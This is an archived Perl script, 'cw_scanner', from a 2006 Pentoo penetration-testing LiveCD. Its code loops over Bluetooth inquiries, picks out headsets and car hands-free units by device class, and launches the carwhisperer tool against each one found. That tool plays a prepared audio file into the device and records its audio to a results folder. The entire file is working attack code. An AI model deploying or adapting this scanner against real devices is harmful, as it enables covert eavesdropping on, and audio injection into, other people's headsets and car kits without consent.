home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / bin / bluediving / tools / cw_scanner < prev    next >
Text File  |  2006-01-23  |  991b  |  31 lines

  1. #!/usr/bin/perl
  2.  
  3. # cw_scanner
  4. #
  5. # in July 2005 by Martin Herfurt (martin@trifinite.org)
  6. # The cw_scanner script is repeatedly performing a device inquiry for visible 
  7. # Bluetooth devices of which the class matches the one of Bluetooth Headsets 
  8. # and Hands-Free Units. Once a visible Bluetooth device with the appropriate 
  9. # device class is found, the cw_scanner script executes the carwhisperer binary 
  10. # that connects to the found device (on RFCOMM channel 1) and opens a control 
  11. # connection and connects the SCO links.
  12.  
  13. undef @device_history;
  14. mkdir("results", 0755) || die "Cannot mkdir results: $!";
  15. while (1) {
  16.     $i++;
  17.     open HCITOOL , "hcitool -i hci0 inq --flush | grep 0x200 |";
  18.     @devices=<HCITOOL>;
  19.     close HCITOOL;
  20.     chop $device;
  21.     ($bdaddr,$co,$class)=split ' ', @devices[0];
  22.     print $bdaddr."\n";
  23.     if (length($bdaddr)>10) {
  24.     
  25.         system("echo -e \"$bdaddr\\n\" > results/$i.log");    
  26.         system("./carwhisperer 0 message.raw results/$i.raw $bdaddr 1 >> $i.log");
  27.         undef $bdaddr;
  28.     }
  29. }
  30.